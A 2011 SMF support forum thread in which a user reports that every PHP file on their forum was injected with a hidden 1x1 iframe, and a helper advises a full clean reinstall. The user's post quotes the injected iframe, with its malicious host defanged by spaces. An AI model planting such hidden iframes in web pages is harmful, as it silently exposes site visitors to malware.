Simple Machines Community Forum

SMF Support => SMF 1.1.x Support => Aiheen aloitti: Maserati - kesäkuu 03, 2011, 07:07:28 AP

Otsikko: After Hacking problem
Kirjoitti: Maserati - kesäkuu 03, 2011, 07:07:28 AP
Last month someone hack forum and add to every php file this frame:

<iframe src="http:// l y 0 s . c o . c c /index.php?tp=25971e546d04c7c2" width="1" height="1" frameborder="0"></iframe>

without spave in webadress


This is added on the end of every file.

After that I remove all this from script, but after that I have problem with forum

On every page load it show this first:


And after one-two second it open forum. But when I try to open new topic, reply to forum or something to do, it show me just blank page.

I use 1.1.12 and use prtty url,ezportal, and few other modification...

Any idea what to do?
Otsikko: Re: After Hacking problem
Kirjoitti: Kindred - kesäkuu 15, 2011, 11:57:13 AP
1- you should be using 1.1.14 (1.1.13 at the very least)
2- at this point, the only thing that you might be able to do is to delete EVERYTHING.

(note: take a backup first)
delete everything (except settings.php) - all files. All directories.
You will lose all mods, all themes, all avatars and all attachments... but your site will be clean.
use the large upgrade archive file for 1.1.14
upload via ftp and run upgrade.php

you can then re-install mods and themes that you want. 
Your forum DATA will be OK, because that's all in the database.
You can restore the avatars and attachments folders later, if you can verify that they are clean files.